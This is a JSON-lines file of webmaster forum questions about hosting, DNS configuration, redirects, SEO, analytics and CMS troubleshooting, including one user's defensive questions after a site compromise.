{"id":"2706","title":"Image CDN with API?","text":"My company uses flickr and picasa web albums as poor man's content delivery networks (CDN) for image hosting, but I'm curious if anyone has any recommendations on any other services that might be worth looking into, paid and free? Preferably something that has an API so that it can be integrated discreetly on the backend as a WordPress plugin or for other development frameworks. A CDN such as Amazon is cheap, and it works, but the lack of a photo-centric API is what prevents me from using it for general usage."}
{"id":"4886","title":"Are all URLs in Drupal in the \"body\" of \"pages\" hardcode, or is there a way to localize them?","text":"**Currently links, images, files, etc.** http:\/\/1.1.1.1\/drupal\/..\/<resource_name.ext> **Is it possible to do:** \/..\/<resource_name.ext> If the questions is not clear, just let me know. Thanks! UPDATES: Node could be a number of different types of content: pages, stories, etc. -- I'm only talking about pages, but it's possible it (and likely) that it the question applies to all node types. And yes, the text area called \"body\" on the content type \"page\" (basically where you insert the full text of the page) ... hope that answers your question, if not, just let me know. RE: Types of links: Images and files, since I just figured out how to do text to link to other nodes."}
{"id":"57355","title":"What SEO problem will occur when we install WordPress on PaaS?","text":"Openshift cloud provided by RedHat have told us to \"set up a CNAME record with your DNS provider\" if we need to use a custom domain in PaaS. What SEO problem will occur when we install WordPress on PaaS?"}
{"id":"54527","title":"Why is \"googlehosted.com\" in the DNS records for our website after signing up for DDOS protection?","text":"Recently we had to get some DDOS protection for our website because of the large attacks we were seeing after getting a bit of popularity. We handed over our domain and hosting information to our DDOS protection provider. It worked perfectly but I have a question. On our DNS records we have the **Host** and **Answer** and **Type**. The host has our domain name there. The answer is this: `SOMETEXTXXXX.dv.googlehosted.com`. And when I copy and paste it into my browser it gives me a 404 error. But our website still loads and functions as it should. I don't understand why it would need this? I asked them about this and they said it is a method for DDOS protection and the other IPs are the reverse proxy (the other IPs give a 404 error too). Can anyone expand on this more please. How does all this tie in together and make the internet browser know where to point the person with all these reverse proxies and stuff I don't understand. Here is an image for reference: "}
{"id":"57805","title":"When updating to HTML5, will adding <!doctype html>, <article>, and microdata result in rendering problems in older browsers?","text":"When updating our website from XHTML to HTML5, will changing the following things result in rendering problems for our site in older browsers like Internet Explorer 8: 1. Specify `<!doctype html>`. (The current XHTML web pages are well-formed enough) 2. Add new specific HTML5 semantic block tags like `<header>` and `<article>`. We are not going to use CSS for these tags - just wrap the existing parts of the site. 3. Add microdata attributes to the existing tags like `<p>`. After reading some books and many Internet articles, I see no problems as the new tags and attributes will be simply excluded from rendering as unknown in those older browsers. However, I admit, in practice there can be some issues, especially with IE. Does anybody have any real experience with that?"}
{"id":"7965","title":"Twitter tweet count - bug?","text":"I think this is the best place to ask about this question. I recently created this account: http:\/\/twitter.com\/sarcasticquotes I have posted 3 tweets so far. (No 'private' tweets at all). It is showing 3 tweets but the Tweet count as 5. What can be the problem? rgds JP"}
{"id":"7968","title":"Should Designers Be In Charge Of Developing User Experience?","text":"Should a designer be in charge of mapping out the user experience of a website? In my opinion, a developer should draw out how the website would work, what pages link to what etc. Then the designer designs the website based on this. But I've heard some people say designers are the best people to work out the User Experience of a website. Very confused about this!"}
{"id":"53097","title":"When does the 301-redirected URL gets indexed?","text":"I had a page in my website like `mysite.com\/dir\/page` now I moved it to `mysite.com\/page` , and the old URL 301-redirects to the new URL. When will it get updated in Google? I asked the bot to fetch it via Google Webmaster Tools, but when will it get effect?"}
{"id":"11934","title":"how do i create name servers","text":"I have recently signed up for a knownhost vps package. My account has been set up on their end. They want me to create `ns1.outsourcingnepal.com` and `ns2.outsourcingnepal.com` in my registar and point to their given IP address. I checked my registar site... I can change the DNS info and other too, but where do I create those two entries and add the IPs? My domain name: outsourcingnepal.com My registar: Public domain registry. (known via betterwhois.com, registered through nearby company Simrik Solutions) I have my name servers set to: ns1.simriksolutions.info ns2.simriksolutions.info I have set my A Record to: name: outsourcingnepal.com value: ip given by knownhost I have set my NS Records: Sr No Record Id Name Value Status 1 10318811 outsourcingnepal.com ns1.simriksolutions.info Active 2 10318812 outsourcingnepal.com ns2.simriksolutions.info Active 3 10318813 outsourcingnepal.com ns3.simriksolutions.info Active 4 10318814 outsourcingnepal.com ns4.simriksolutions.info Active 5 10321078 outsourcingnepal.com ns1.outsourcingnepal.com Active 6 10321080 outsourcingnepal.com ns2.outsourcingnepal.com Active **Updates:** I updated the child name server. I even added the http:\/\/outsourcingnepal.com account in WHM of knownhost too. Now I am getting the following DNS Lookup result: http:\/\/www.domaintools.com\/research\/dns\/?query=outsourcingnepal.com&search=dns Outsourcingnepal.com DNS Lookup ;; Answer received from 127.0.0.1 (90 bytes) ;; ;; HEADER SECTION ;; id = 5049 ;; qr = 1 opcode = QUERY aa = 0 tc = 0 rd = 1 ;; ra = 1 ad = 0 cd = 0 rcode = NOERROR ;; qdcount = 1 ancount = 1 nscount = 2 arcount = 0 ;; QUESTION SECTION (1 record) ;; outsourcingnepal.com. IN A ;; ANSWER SECTION (1 record) outsourcingnepal.com. 13495 IN A 204.197.252.160 ;; AUTHORITY SECTION (2 records) outsourcingnepal.com. 85495 IN NS ns1.outsourcingnepal.com. outsourcingnepal.com. 85495 IN NS ns2.outsourcingnepal.com. ;; ADDITIONAL SECTION (0 records)"}
{"id":"42198","title":"Pagerank ties to page content","text":"I have a relatively old site, with a fairly good pagerank, that I'm in the process of upgrading. The second-tier pages are also well pageranked. After reading through the content on these pages, I realize that their content needs to be completely overhauled and re-written. Is this content change likely to affect the pagerank of those URLs (negatively or positively)?"}
{"id":"16971","title":"How to inform website owner if someone downloads something from the website?","text":"Right, beginner here so bare with me.. * * * **What i've got:** A simple html\/css website with a page where clients can find informative documents in the form of PDF's and rich text documents, they can just click the link to download the documents as desired. **What the website owner wants:** When the client\/user selects a document to download, a form appears asking them to input their personal or company name and submit before allowing them to download as normal. This information, who downloaded what and when, should be emailed to the website owner or possibly logged in a hidden site page. * * * I've never done any server-side scripting but i'm happy to learn. (I'm no professional, just throwing this together for a family friend according to their specifications). The reason i gave up googling temporarily and came here is that with all the different possible approaches and presumably a lot of outdated information i'm a bit lost on such a big topic. So i'm looking for a recommendation for a scripting language and a point in the right direction in terms of methods of tutorials i could put to work to implement the above. Or perhaps even a simple opensource script that i could learn from and adapt to suit the website owners needs. Any advice appreciated! Sorry if this isn't the right place\/question to ask. **Scripting languages his host accepts:** perl, php, python."}
{"id":"56993","title":"How to measure the file download speed in another country","text":"Now I have a dir with about 5000 files (images) in it and I concerned if this amount will significantly slowdown speed of page load with this images. I'd like to test the load speed of an image from this big directory in comparison with a dir with a small amount of files. The problem is that I am in Russia but the web-served is located in US and dedicated for US users. So how do I check the speed of download from another country?"}
{"id":"42193","title":"What measures should I take after I find one of my scripts being vulnerable?","text":"I maintain a few PHP-based websites for a small company on a LAMP server. The scripts include CMS such as Joomla or Wordpress, as well as SilverStripe and Drupal installations. A week ago, I found the sites to have been compromised. The only actual causes of the problems were that all `.php` files had been deleted in the attack. Restoring those from backup put everything back in a normal state. Of course, the security hole still exists somewhere. Here's what I did immediately after the attack: * The sites are all saved in `\/var\/www`, and the files and folders used to all belong to `www-user`. I now created a user for every site, e.g. `drupal`, and ran `chown -R drupal:www-data .` on the Drupal folder. * I checked the permissions so files would be `u=rwx,g=rx,o=`, and directories `u=rw,g=r,o=`. This, I assume, will make it impossible for an attack through PHP to actually be able to delete files or modify them in any way. Now my questions: * Are these assumptions about permissions correct and will they at least save me from an imminent attack? * What other precautions can I take, apart from upgrading the scripts to the latest version and making sure my backups are working fine?"}
{"id":"33150","title":"How is relevance of results on froogle determined?","text":"I have a client who sells shoes, and is included on froogle. However, results are quite skewed for other stuff when I do a search for their name on froogle: https:\/\/www.google.com\/search?hl=en&tbm=shop&q=shermanbrothers&oq=shermanbrothers&gs_l=products- cc.3...4555.6166.0.6455.15.8.0.7.0.0.159.739.5j3.8.0...0.0...1ac.fFUuy61zkHg#hl=en&tbm=shop&sclient=psy- ab&q=shermanbrothers&oq=shermanbrothers&gs_l=serp.12...0.0.0.654235.0.0.0.0.0.0.0.0..0.0...0.0...1c.98nQoMkQujk&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.&fp=aabf81530f08f356&biw=1304&bih=680 So what factors affect relevance on froogle?"}
{"id":"16946","title":"Are there any ad networks that serve ads over SSL?","text":"> **Possible Duplicate:** > Ad service that supports ssl (secure publishing) I have recently enabled SSL on my site, now my google ads cause some browsers to complain about unsecured content (because Google Ads are served over http). Are there any ad networks that serve ads over SSL?"}
{"id":"12268","title":"Canonicalization of my site","text":"I'm confused about canonical issue. I've setup in .htaccess to redirect the urls without www to www. one's. My site is http:\/\/www.indiacustomercare.com . Now the url's in this link-http:\/\/www.indiacustomercare.com\/sitemap are all without www. Is this going to affect anything? In the web will both the url's(http:\/\/www.indiacustomercare.com & http:\/\/indiacustomercare.com) be considered same or different?"}
{"id":"52142","title":"Problem with submitting URL to index for Ajax crawlable URLs","text":"My site contains lots of dynamic data, so I am using Ajax crawling to crawl it properly. When I use the \"Fetch as Google\" tool in Google Webmaster Tools it's working perfectly, but the \"Submit to Google index\" button next to the result is not working. It just reloads the page and does nothing. For this non-Ajax URL it works perfectly and says \"URL submitted to index\", but not for this Ajax URL. Any Ideas?"}
{"id":"50769","title":"A date format that isn't picked up by Google as keyword","text":"My site is lacking a bit of written content through reasons I cannot control, but it does feature a lot of dates. Currently my top keyword is \"Jul\" because my date format is like this: > 10th of Jul Within the Google Webmaster page it lists my highest keywords. I was wondering, if I put my dates in a specific format, will it know that they are dates and therefore exclude them as a keyword, in the same way that it seems to do for words like \"the, of\" etc."}
{"id":"6251","title":"portfolio blog hosting","text":"We currently have a photo storage website. A user can store his photos on our site. We want to give a facility to each user to create his photo portfolio and customize its look and feel, and contents more like a blog hosting. I am very beginner here. Is there any open source software that I can use? Thanks"}
{"id":"6257","title":"Hacked by our own hosting company!","text":"OK, so our hosting company decided to clone our site and database onto a new serve. Without our knowledge or permission they then edited our code to point to the new database. The old server was left running, still pointing at the original database. The DNS was changed to reflect the new IP address of the server. Obviously during the propagation customers were hitting both the new and old servers, resulting in orders coming in to both databases, sometimes being split between the two. We're now attempting to reconcile the two databases. The question I have is is it still hacking if it was done by your own hosting company?! I'm fairly sure they shouldn't have edited our code! If they had left it as it was the site would have stayed pointed at the original database and we wouldn't be in this mess! I'm thinking that legal advice is need but just wanted to know if anyone had ever come across this situation before?!"}
{"id":"6256","title":"What free hosting solution do you recommend for this use case?","text":"I want to create a site that basically lets me: 1. Write tutorial articles with nice formatting. 2. Display flash videos for my viewers. Any suggestions on a free solution? Something that would allow me to purchase a domain name and upgrade would be a plus. Thanks!"}
{"id":"52148","title":"Are disqus comments searchable using a website's own search tools?","text":"I'm evaluating comment systems and although I see disqus used in many cases I'm not sure if it is the best choice for me as I am uncertain that my site's own search system could show comments in search results. Can built-in search or Apache Solr find comments on the site made with Disqus ? Research I have shown so far is that Disqus has Search Engine Optimisation (SEO) -- for _external_ search engines e.g. Google:- * http:\/\/wordpress.org\/plugins\/disqus-comment-system\/ * http:\/\/www.quora.com\/Do-search-engines-index-Disqus-content But what about your own search system on your site, or using Solr for example. I'd prefer not to use Custom Google Search to search my site as I want control over how my results are shown."}
{"id":"53232","title":"Avoiding Personally Identifiable Information in Custom Variables in Google Analytics","text":"We are currently logging the type of user via custom variables. The types are to do with the level of service they have - gold, silver or bronze or just a regular non-logged in user. Ideally what we would like to do is to log which users are logging in and using the system (and more importantly who isn't) however this would contravene the terms of Analytics as it would constitute personally identifiable information. (Feel free to correct me if I'm wrong here btw.) However would it be allowed to track the organisation the user belonged to in Analytics? So each organisation has a number of logins and if we were to track that a visit belonged to a particular organisation? Joe (PS: I tried this on the product forums but had no luck so I am trying it again here.)"}
{"id":"12835","title":"SEO impact on a multi-site environment with some similar content","text":"I have a network of sites (70+) that use subdomains like this for a national site and regional branches: * example.com * atlanta.example.com * chicago.example.com * dallas.example.com Each of them have an About page that starts off with a short intro paragraph regarding the regional site and then the rest of the page is a canned, nearly identical description of the overall firm and its services. * example.com\/about * atlanta.example.com\/about * chicago.example.com\/about * dallas.example.com\/about My question is about the impact this system will have on SEO. Will search engines consider these About pages duplicate or spammy content because they are similar? We do need to present this info to our users on a regional level, but it doesn't make sense to write 70+ different about pages that are trying to give the same info about the overall firm and some unique info about the regional site."}
{"id":"53549","title":"Why will Google Analytics not allow our URL?","text":"In Google Analytics we're trying to add a property for each website of a WordPress multisite network. It works well for all of the sub-site but one. In the Default URL field we used the following: * `www.mywebsite.no\/` - works * `www.mywebsite.no\/nurse` - works, as does a few other sub-sites * `www.mywebsite.no\/doctor` - doesn't work In the last case we get the following error: > Value is not a valid domain. (e.g. example.com, www.example.com) We can't change the name of the sub-site but GA just won't accept the URL. Why is this and what can we do to solve this?"}
{"id":"18994","title":"Meaning of 'UsageValue' in Amazon EC2 Reports","text":"I've recently downloaded my usage reports from my EC2 account, but I don't understand the `'UsageValue'` data since there is no indication of what unit the numbers are measured in. I have a similar problem with the `UsageValue - $ conversion rate` data. Searching online I couldn't really find a working calculator or conversion tool. Can the community advise how to calculate my estimated bill from a usage report?"}
{"id":"53238","title":"Adding an SMTP server that would result in more delivered emails","text":"I am very curious, so sorry if I am asking this in the wrong way, but I can't find this info anywhere. I have a newsletter service installed in my Joomla 3.1 that allows me to send emails via PHP mailer. In the last few days, I figured out that at least 30% of my sent emails were blocked (and so my domain IP). So I asked myself the meaning of changing mailer method to SMTP (the configuration in my Joomla allows me to do this), but here's a question: how could I install an SMTP server in my host (with cPanel) resulting in more delivered e-mails?"}
{"id":"8545","title":"Private domain purchase with paypal: how to prevent fraud?","text":"I am finally going to buy a domain I have been looking at. The domain owner wants me to give him my Godaddy account information and send him the payment via Paypal gift, so that there will be no extra charges. Should this cause suspicion? Does Paypal offer any kind of fraud protection? What is the best way to protect myself from fraud in this situation, without the need for escrow services, such as escrow.com? Any advice welcomed. Thanks."}
{"id":"9718","title":"htaccess rewrite - Associating subfolders of web root as index of domain","text":"I've been trying to find specific information on the problem, but it all seems rather confusing or irrelevant. I have an Apache install with several subfolders with different websites. I need requests for foo.com to redirect to ...\/htdocs\/foo. I'm trying to avoid the web address appearing in the browser as foo.com\/foo, instead appearing as foo.com. Is this possible?"}
{"id":"8544","title":"CSS\/HTML element formatting template","text":"I'm trying to locate an HTML template that shows all the elements in HTML, so that the basic aspects of typography, colour schemes, margins and so on can be applied to it using CSS. Those styles can then be merged with styles that handle the layout for a given project, and then tweaked a little for any given problem. I realize I could do this myself but thought that someone else may have already done this or know where to find such a template. Thanks for your help."}
{"id":"60387","title":"When, if ever, and how, would Google, Yahoo, Bing, etc will add the new gTLD to their search results?","text":"New domain names like .photos .gallery .repair etc are being released every month. I tried running a generic search for some things, and I could not find any of those in the results. Any idea if they will ever integrate them into the search results? Will they be ranked higher than the .com domains? For example, if someone had stackphotos.com and now they got stack.photos - will the second domain be ranked higher than the first?"}
{"id":"14940","title":"font-weight on Windows","text":"I've the following code: p{ font-family: Helvetica, Arial, sans-serif; font-weight:100;} It works on Mac OSX on Safari and Firefox, but the font-weight don't work on Windows in any browser. Why? How can I solve that?"}
{"id":"19651","title":"Moving Sharing buttons when blog posts change urls","text":"> **Possible Duplicate:** > Retrieve Facebook Like count after changing URL structure for entire > website I want to move a blog from http:\/\/blog.wordfruit.com to http:\/\/wordfruit.com\/blog With permanent redirects to the new location from the old location. The blog posts have sharing buttons (Linkedin Share, Tweet, Fb Like, +1) Is it possible to move the sharing buttons, with their counts, to the new url locations? Thanks,"}
{"id":"48159","title":"Impact on social interactions after URL change","text":"Every article URL on a website I work on will soon be changed. 301 redirects will be set up to ensure inbound links still arrive at the correct destination. However, social interactions (Likes and Comments\/Tweets\/+1s) are attached to a specific URL - the previous one. When each URL changes all social interactions will be lost. There doesn't seem to be much information out there regarding a way around this. The 301 redirects surely won't retain things like Facebook comments tied to a specific URL? What are my options for keeping these social interactions intact?"}
{"id":"8889","title":"Looking for Non Hosted Audio & Video Podcasting Solution for Church Websites","text":"I am looking for a solution that will do the following: User uploads audio and\/or video files with title, desc. image etc Solution embeds info into ID3 tags Solution generates RSS feed Solution embeds new content in our website Content on website is searchable This is for a couple of church websites I manage. I am looking for the ability to do the above with a sermon mp3 and also a video. At the moment we are doing it with multiple steps \/ people involved and I want to automate the process. I can't seem to find a solution that does all of the above. Thank you!"}
{"id":"24103","title":"What IP address range do URLFetch queries come from?","text":"I want to set my firewall to only allow HTTP connections that originate from Apps Script. My Google Spreadsheets project uses URLFetch make queries back to my server. For development, that \"server\" is just my desktop at home. To allow that, I had to set a rule in the firewall to allow TCP on port 80. Restricting source address is never a substitute for real security, but it would block most of the scripts that periodically scan my IP for IIS\/Apache vulnerabilities. So far, the legitimate connections are coming from 66.249.85.66. Presumably, that could change at any time. I can't get reverse DNS on that (i.e., \"host 66.249.85.66\") so I can't even do much weaker programmatic filtering. Is there a known IP address range that Apps Script sends URLFetch connects from? Alternate suggestions are also welcome. Unfortunately, App Engine won't work. It's not compatible with my application."}
{"id":"8887","title":"Upgraded Linux, now CMS Made Simple is spewing errors","text":"I upgraded my host from Debian Lenny to Debian Squeeze, and now my CMS Made Simple site is spewing PHP errors all over the screen. I thought I'd upgrade the CMS because I haven't done so in a while, but Google Chrome tells me that the CMS Made Simple site is infested with malware. What are my options now? Example errors: Deprecated: Assigning the return value of new by reference is deprecated in \/www\/danmurn\/cms\/include.php on line 73 Deprecated: Assigning the return value of new by reference is deprecated in \/www\/danmurn\/cms\/include.php on line 162 Deprecated: Assigning the return value of new by reference is deprecated in \/www\/danmurn\/cms\/include.php on line 240 Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at \/www\/danmurn\/cms\/include.php:73) in \/www\/danmurn\/cms\/include.php on line 34 Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at \/www\/danmurn\/cms\/include.php:73) in \/www\/danmurn\/cms\/include.php on line 34 Deprecated: Function set_magic_quotes_runtime() is deprecated in \/www\/danmurn\/cms\/include.php on line 62 Deprecated: Assigning the return value of new by reference is deprecated in \/www\/danmurn\/cms\/lib\/classes\/class.global.inc.php on line 184 Deprecated: Assigning the return value of new by reference is deprecated in \/www\/danmurn\/cms\/lib\/classes\/class.global.inc.php on line 196"}
{"id":"3478","title":"how do we read total amount earned from adsense using its api","text":"I want to display the total amount earned at the right top corner of my desktop if there is any api provided with adsense so that i can use a window application to fetch that information from google. is there any thing available like that? where can i get examples. sample codes.?"}
{"id":"24105","title":"Issue updating domain name servers from BlueHost to AWS","text":"I am trying to migrate my site hosting from BlueHost to AWS cloud based service. I have the site up and running on AWS with an elastic IP configured, it loads fine when I specify the IP address in the browser. I have gone into Route 53 on the AWS console and created a \"hosted zone\" for the domain. I then created a new record set of type \"A\" using the IP address as the value. I have a domain name registered with BlueHost. I've logged into the BlueHost account and updated the domain name servers to point to those specified in Route 53 in the AWS console. When I hit the IP address directly the site loads, however it doesn't load when using the domain name (I get a Google chrome oops error page saying page is not found) I've tried using this site: http:\/\/dns.squish.net\/ to debug but it seems to be giving me the correct results. fizaclegems.com 300 IN A 107.20.209.78 Where 107.20.209.78 matches the elastic IP configured in the AWS console. This is the result it gives for all 4 name servers. Am I missing a step here? Does anyone know what else I should be doing or looking for?"}
{"id":"12910","title":"What are my (least invasive) options to create advanced BB codes in phpBB3?","text":"Migrating to phpBB3, I want to extend it as I used to do with phpBB2. That said, you can assume that I am a little bit familiar with the code base of both and that I \"speak\" PHP fairly fluent to get the stuff done. Now, the built-in BB codes are implemented through `bbcode.php` and `message_parser.php`. That also includes support for the simple BB codes that can be created in the ACP. However, it appears that there is no hook and no other support to easily create _advanced_ custom BB codes. In my case simple substitution of strings will not be sufficient for several reasons, with the most important one being that I need to make DB queries when evaluating the contents of the BB codes. To give you one example: [topic=id][\/topic] ... should yield the full title of the linked topic or a red text saying that the topic does not exist, but: [topic=id]text[\/topic] ... should link `text` to the topic identified by the ID."}
{"id":"45615","title":"Will 301 redirection to a Google Indexed URL can remove the URL from Google index?","text":"I need to remove some indexed URLs from Google SERP. The problem is I cannot use the 3 types of removal patterns Google suggests like `robots.txt`, meta name `\"noindex\"` and remove the page and make it as 404 page and submit in Google removal tool. I cannot use any of them and I planned to redirect to home page. My doubt is that Google will remove the pages from Google SERP and its index after redirecting to home page?"}
{"id":"45342","title":"How to compare page views\/visitors to site totals in Google Analytics?","text":"I want to measure the effects in total traffic (views or visitors) of a single URL across a time frame. For example, let's say I published a blog post on July 2012. I want to measure what chunk of the site's total traffic is coming to this particular post on a month-by-month graph from July 2012 to date. Is there a way to do this? **Edit:** I should clarify that what I'd like to do is to generate a month-to- month _graph_ , similar to the one you can see comparing a metric on a period of time against the previous equivalent period (year vs last year, for example) but comparing a particular URL traffic to the site's total traffic. In other words, I can get to the part where I can see the URL's traffic for the timeframe I selected and it shows how much of the total traffic corresponds to the current URL:  But I'd like to add a second line to the graph, representing the site's total pageviews, similiar to this (but this one is showing just a different metric for the same URL):  Thanks!"}
{"id":"53148","title":"what is link baiting? What is the process?","text":"I am not familiar with the term `Link baiting`what is it and how can I use it in seo. Is it useful? can anyone describe it for me?"}
{"id":"45349","title":"Migration Joomla to Codeigniter - GWT reporting lots of 404's - How to fix","text":"I recently created a whole new fitted system structure for a site previously running on Joomla 1.5 CMS. They wanted something more simple and elegant, and their back-end was a mess of modules and plugins and a lot of stuff didn't work. Anyway, their link addresses were not nice too, like `content\/compontent\/article\/id` or similar and worse, and I made a lot nicer structure `content_type\/category\/id-article-name`. From the day when I launched the site, Google Webmaster Tools keeps coming with more and more 404 broken links, I assume from their indexes of previous page urls. I don't want to affect their SEO. But I am not sure what to do. The site was built with Codeigniter. Should I put all important old pages to htaccess file with 301 redirect to new ones? They had a broken database too, somewhere along the line there primary key for content skipped few hundred digits, so their last article on old site was with id 1080, but they only had 230 articles. This was fixed with the new database and all articles have the correct id, so I can't build additional controllers to handle 301 because I urls are significantly changed. But I can't see adding hundreds of 301 redirect to htaccess file as an optimal solution. Any suggestions? Thank you all"}
{"id":"48268","title":"Website with same content but different tlds","text":"We have two sites: * example.com * example.co.uk Both point to the same IP and files. Is it better SEO practice to direct the user's from **example.co.uk** to **example.com**?"}
{"id":"56470","title":"WordPress and MediaWiki sitemap","text":"I'm planning to make a WordPress site and include, also, a wiki, using MediaWiki. I know how to generate WP and MW sitemaps. Anyway, I think I need to merge the two sitemaps in some way. Am I right? How can I do this?"}
{"id":"12912","title":"Does it help with page SEO if I have a google map on the page?","text":"I know having images or video sometimes helps boost a page's SEO. But what about a google map of some relevant things?"}
{"id":"52999","title":"YouTube AdSense stopped paying - what to do?","text":"A few months go I placed AdSense ads for YouTube on the video that appears on this Android app landing page. For a while things went ok, but then suddenly any of the clicks and views stopped generating cash. I was still getting YouTube reports of the number of ad clicks, but they were all worth nothing. Now I am starting a YouTube channel and would like to get my YouTube AdSense to good standing. Would anyone know how I can do that?"}
{"id":"55091","title":"How can I remove duplicate SERP results for same domain?","text":"When I search \"example business near zip code\" in Google, I get the following separate, distinct results for the domain: www.example.com\/ny\/new-york\/10019 www.example.com\/ny\/new-york\/10019\/?start=10&zip=10019 www.example.com\/ny\/new-york\/10019\/?start=20&zip=10019 Is this a pagination issue? Will these be indexed as duplicate content?"}
{"id":"19997","title":"On an e-commerce site, how do you attribute a sale to PPC if a visitor comes from PPC but then returns to buy through another medium?","text":"Can we use cookies and if so how do we install this? What software could track this kind of conversion scenario?"}
{"id":"59173","title":"What URLs should I put into XML Sitemap?","text":"We will launch a project with over 1.000.000 products and those are in approx 150 categories. Later on you will find reviews and technical detail pages to those products. So there will be more than 2.000.000 pages at start and a growing number as soon as reviews are generated. **Content** : products, product ratings\/reviews, product technical details, later on maybe product questions\/answers Our prior goal is to give Google informations about important content on our portal and where were last changes. I was a little bit confused when reading some answers to similar questions: This one says: > The idea of a sitemap is to have this point to all pages. And this one says: > You should not include any categories, paginated pages or sub categories in > your sitemap.xml if there is no unique and distinct content on those pages. And I thought it's a good point to put product category overview urls into XML Sitemap to give Google a good starting point to crawl my site. * * * However - my question is if I have to **write every existing url** into XML Sitemap or just the product urls from where you (or Google) reach reviews or technical details with one click? And what happens when a product got a new review? Should I listed up the review overview URL to XML Sitemap with **last modified time stamp** or just give this time stamp to product url and Google will crawl it again + linked pages? And should I put category overview pages and top product pages into XML Sitemap too? How often will Google scan our **XML Sitemap index file** (because we'll have many XML Sitemaps) or will we have to upload them each time last modified time stamp has changed?"}
{"id":"44568","title":"Hosting CodeIgniter blog on Media Temple service","text":"I am completely clueless about it and Media Temple's customer care doesn't provide any technical help. Here are my doubts: 1. Where should I upload my codeigniter blog files `\/domain\/myblog.com\/html\/` or `\/domain\/myblog.com\/` ? 2. In config.php, I have updated base url from `http:\/\/localhost\/myblog` to `http:\/\/myblog.com\/`. Is it correct. 3. I have created a new mysql DB in Media Temple and updated database.php with the same. 4. There is a `.htaccess` file at `\/domain\/myblog.com\/`. I have my own project specific `.htaccess` file. Should I replace\/merge\/leave it?"}
{"id":"54658","title":"Apache VERY high page load time","text":"My Drupal 6 site has been running smoothly for years but recently has experienced intermittent periods of extreme slowness (10-60 sec page loads). Several hours of slowness followed by hours of normal (4-6 sec) page loads. The page always loads with no error, just sometimes takes forever. **------Edit----- Updated Question:** How can I troubleshoot this problem? I've used: 1. webpagetest.org 2. windows task manager 3. netstat 4. apache and windows logs 5. Firewall packet capture **------End edit-----------** My setup: * Windows Server 2003 * Apache\/2.2.15 (Win32) Jrun\/4.0 * PHP 5 MySql 5.1 * Drupal 6 * Cold fusion 9 * Vmware virtual environment * DMZ behind a corporate firewall * Traffic: 1-3 hits\/sec avg Troubleshooting * No applicable errors in apache error log * No errors in drupal event log * Drupal devel module shows 242 queries in 366.23 milliseconds,page execution time 2069.62 ms. (So it looks like queries and php scripts are not the problem) * NO unusually high CPU, memory, or disk IO * Cold fusion apps, and other static pages outside of drupal also load slow * webpagetest.org test shows very high time-to-first-byte The problem seems to be with Apache responding to requests, but previously I've only seen this behavior under 100% cpu load. Judging solely by resource monitoring, it looks as though very little is going on. Here is the kicker - roughly half of the site's access comes from our LAN, but if I disable the firewall rule and block access from outside of our network, internal (LAN) access (1000+ devices) is speedy. But as soon as outside access is restored the site is crippled. ~~Apache config? Crawlers\/bots? Attackers? I'm at the end of my rope, where should I be looking to determine where the problem lies?~~ ------Edit:----- Attached a waterfall chart from webpagetest.org showing a 15 second load time, I've seen times as high as several minutes. And again, the server runs fine much of the time. The green areas indicate that the browser has sent a request and is waiting to recieve the first byte of data back from the server. This is certainly a back-end delay, but it is puzzling that the CPU is barely used during this slowness. "}
{"id":"52995","title":"301 Redirect on a server and an ASP page","text":"This question may seem a bit \"childish\" but I was wondering what a browser would read first if a 301 redirect is implemented. So if a 301 is implemented on an ASP page (script) would the browser read that first or would a 301 on the server-end (Linux server) load first?"}
{"id":"11622","title":"google analytics api from desktop which method to use clientlogin, authsub, oauth","text":"I have written a simple php program to fetch google analytics data. I did this to test how to authenticate and how to get data feeds. it is working well. Actually my plan is to display a small window which will update with analytics data at certain time intervals. I will use .net to do so. Currently i am using clientlogin method. authsub is meant for web apps and oauth seems to be tedious i guess. Shall i be with clientlogin method or do i have to switch on to another. With other methods we dont have to mention usename and passwords where as in clientlogin method we have to mention username and password. Expecting suggestins, comments and answers."}
{"id":"55114","title":"How does infinite page scroll affect Alexa ranking?","text":"Alexa says to include their meta tag into site head tags. On infinite scroll pages head tags are included only once. How does Alexa track pages with infinite scroll? Does that affects site's Alexa ranking?"}
{"id":"68653","title":"Can not access phpMyAdmin","text":"I tried to access phpMyAdmin but I get an error. > Cannot connect: invalid settings. > phpMyAdmin tried to connect to the MySQL server, and the server rejected > the connection. You should check the host, username and password in your > configuration and make sure that they correspond to the information given by > the administrator of the MySQL server."}
{"id":"68302","title":"Does having multiple URIs mapping to the same resource help SEO?","text":"Let's say I have a site with products that have tags, if each resource is available at GET '\/products\/tagged\/:tag_list\/:product_permalink' Could that be better for SEO than just one permalink? For example a product tagged \"tea\" and \"coffee\" would be available at GET '\/products\/tagged\/tea\/:product_permalink' GET '\/products\/tagged\/coffee\/:product_permalink' GET '\/products\/tagged\/tea\/coffee\/:product_permalink' GET '\/products\/tagged\/coffee\/tea\/:product_permalink' I would imagine that google would appreciate this because it gives multiple URIs with different levels of detail about the product, but I cant really be certain. Anyone have any direct knowledge on the topic? **--EDIT--** As John Conde points, this is a horrible idea. What about having the links on my site link to a route such as `GET '\/products\/tagged\/:full_tag_list\/:product_permalink'`, and then any time a user changes tags just have a HTTP moved permanently status to the new URL. Therefore duplicate URLs would be highly unlikely and mitigated by the proper response. Would this be better?"}
{"id":"44933","title":"What is the effect of Dynamic URL's on SEO","text":"I have around 150 dynamic URL's as below http:\/\/mydomain.com\/training\/register.php?key=01ue3be299a-6bc1-1030-a2db-e4115bd593d8 http:\/\/mydomain.com\/training\/register.php?key=02ue3be299a-9bc1-1030-a2db-e4115bd593d8 . . . http:\/\/mydomain.com\/training\/register.php?key=150ue3be299a-10bc1-1030-a2db-e4115bd593d8 All the Urls land in the same page, but the content will be different based on the parameter. **1) Is there any effect of these URL's on SEO. If so What is the solution.?** and **2) Can I do URL rewrite ?**"}
{"id":"5244","title":"Narrowing down my large keyword list for new PPC campaign","text":"If I have a list of 100 keywords that are candidates for a PPC campaign (my list is actually 1000+). What is the best approach to narrowing this down to the top 5-10 keywords I should start with? I'm also wondering if my top chosen keywords for PPC campaign should be my main keywords for SEO site optimization for organic traffic. I also have another question on this site asking: How does one estimate where a competitor is getting most of their traffic from? Thanks. The website isn't created yet, but will be up in January."}
